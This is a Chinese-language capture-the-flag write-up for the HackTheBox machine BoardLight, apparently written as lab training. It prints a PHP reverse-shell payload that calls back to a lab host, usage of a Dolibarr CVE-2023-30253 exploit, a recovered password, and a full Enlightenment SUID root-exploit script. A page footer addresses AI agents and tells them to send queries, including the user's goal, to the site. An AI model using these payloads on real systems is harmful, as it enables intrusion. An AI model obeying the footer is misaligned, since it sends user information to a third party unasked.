> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md).

# BoardLight HackTheBox 复盘

BoardLight HackTheBox 简单 Linux 机器复盘，涵盖子域枚举、Dolibarr 17.0.0 利用 - CVE-2023-30253、信息泄露（用户横向移动）、Enlightenment SUID 二进制文件利用

{% embed url="<https://app.hackthebox.com/machines/BoardLight>" %}

{% hint style="warning" %}
**技能：**

* 子域枚举
* Dolibarr 17.0.0 利用 - CVE-2023-30253
* 信息泄露（用户权限提升）
* Enlightenment SUID 二进制利用（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ceff8c1031a89a3694b185347b6aee70e5eb1fc%2Fimage%20(775).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d7923b3bedf2de6f6e73bcd7af2c4a958d3635%2Fimage%20(776).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.11 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91e9d9624d2101fc8b3d78a717aadbc3cb9360ad%2F%7BCA076EB7-6467-41EB-9F5E-A6BBD3415CC8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2bde05626e973a39e9193e0d8bb9faea8b7267d%2Fimage%20(777).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,80 10.10.11.11 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-154cefcabc01e8b68ba351155bd012190509b9be%2Fimage%20(778).png?alt=media" alt=""><figcaption></figcaption></figure>

## 端口 80 - HTTP

**使用 WhatWeb 分析：** 我们发现一封包含域名的电子邮件： `board.htb`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b760a375b264760726d5d4e989af9846b317082%2Fimage%20(779).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df46ad44c06d2c224fa3f08da9653022da6a6ff1%2Fimage%20(780).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b0c17b0aeb6e6793f5207ed47c473b8110a5792%2Fimage%20(781).png?alt=media" alt=""><figcaption></figcaption></figure>

## Web 枚举

**使用 Feroxbuster 搜索目录：**

```bash
feroxbuster -u http://board.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

未找到相关结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf3dad731faf9e74ccc73b9c9fdc0e3a5b2fac8f%2Fimage%20(782).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Gobuster 枚举子域名：**

```bash
gobuster vhost -u http://board.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 200
```

我们发现一个子域名： `crm.board.htb`..

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96db5c9a6356aad9898dbe38eebcdb14c1e4673f%2F%7BD61F13B4-4E09-42B7-97FA-0D6C5D99248B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们将其添加到 `/etc/hosts`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9808b4e22700977d6dee7e808ca977063a198c47%2Fimage%20(783).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Dolibarr CMS 漏洞

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c97a8c94bb97b85331e6b6374a610458c8c58f35%2F%7B82BF6075-0650-49E9-804E-8A4335B3352E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**无需身份验证的连接：** 使用随机凭据的连接尝试会以管理员身份登录，但没有权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a00f51f59b511ef777139bae30603990609b492%2F%7BBB128B85-5003-4442-8204-49C16AF1B2FE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21e5eef3b2fded872cffd3d362705441dc9ed93f%2F%7BF8F7304E-7BAE-49E2-BEEB-D9DD176B70FA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **手动利用**

**创建恶意站点：**

在站点创建部分，我们插入恶意 PHP 代码：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-320f76bc5f5a1520cad1f21c9658cb1152a1cdba%2F%7B57D72273-2C7D-4109-8D87-B8FC96C2E949%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adfec8a64d614aea59a40df72e04cf1ef00eeeb1%2Fimage%20(789).png?alt=media" alt=""><figcaption></figcaption></figure>

我们确认了命令执行。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea06673e13e6cc5d2978bb44532de150ee337f88%2Fimage%20(790).png?alt=media" alt=""><figcaption></figcaption></figure>

**反向 Shell：**

监听：

```bash
nc -nvlp 443
```

反向 Shell 的 PHP 代码：

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5724f0d9b87376187f0136697612ffa2ae8f47b6%2F%7B98AECE2A-9CC2-4EE0-891D-B7E8055E9580%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **自动化利用**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**安装依赖：**

```bash
pip3 install -r requirements.txt 
```

**执行脚本：**

测试命令（whoami）

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c8443fb1d37bbeea65c6f1b92cde52baf2eaa61%2Fimage%20(785).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 反向 Shell

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-582d60982c09f92ab4ebea4cfb0349a4442456ab%2Fimage%20(786).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 终端稳定化

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 用户权限提升 - Larissa

目标是转向用户 **larissa**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d13b7cfadf7015cb54170d775628748389a252b%2F%7B733E7776-95B5-442F-9392-E741F2B86852%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 信息枚举

在 `web` 目录位于 `htbdocs`，我们找到一个名为 `conf` ，其中包含一个 **conf.php** 文件。此文件包含以下信息：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50b2c381f7b5a395eca1522bc98da7f5b3f6e55d%2Fimage%20(791).png?alt=media" alt=""><figcaption></figcaption></figure>

* 密码： `serverfun2$2023`!!

#### SSH 连接

获取到信息后，让我们尝试通过 SSH 连接到机器：

```bash
ssh larissa@10.10.11.11
```

**结果：** 连接成功。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37242d6e6fba996876be1c17a0764b3180711c59%2F%7B14CBF43C-5C33-4E8F-BF0D-3ED2C65DE848%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22892303b1fe31c355f4f78e4e43567ed132433a%2Fimage%20(792).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升

### SUID - Enlightenment

我们首先搜索由我们的用户拥有的 SUID 文件。为此，运行以下命令：

```bash
find / -perm -4000 2>/dev/null
```

分析输出后，我们注意到存在 **enlightenment** 二进制文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70a652245f70014cac4a9062bb8887ab3838d25d%2Fimage%20(769).png?alt=media" alt=""><figcaption></figcaption></figure>

我们正在研究与该二进制文件相关的漏洞。经过一些研究，我们找到了一个适用于该版本的利用。 **0.25.4**.

{% embed url="<https://www.exploit-db.com/exploits/51180>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a67c855a2046e8bd6aa53f64254b1118a1ba447c%2Fimage%20(770).png?alt=media" alt=""><figcaption></figcaption></figure>

然而，检查系统上安装的 Enlightenment 当前版本时，我们发现它是版本 **0.23.1**，一个较旧的版本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-006e8193583f1c13081e818f1279908d0def10aa%2Fimage%20(771).png?alt=media" alt=""><figcaption></figcaption></figure>

我们正在测试以下利用来利用该漏洞：

```bash
#!/usr/bin/bash

file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
rm -rf /tmp/exploit
rm -rf /tmp/net
```

```bash
./exploit.sh
```

运行该利用后，我们获得了 root 权限的 shell。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef7dc22a89003ed59082e2b1d2a9bc629e5e9231%2Fimage%20(772).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b50a6e8c729600c74ba9ba37b774556ec5108950%2Fimage%20(774).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44225a94c7b240e65dfe2ce7d44610e1007e2c51%2Fimage%20(773).png?alt=media" alt="" width="425"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
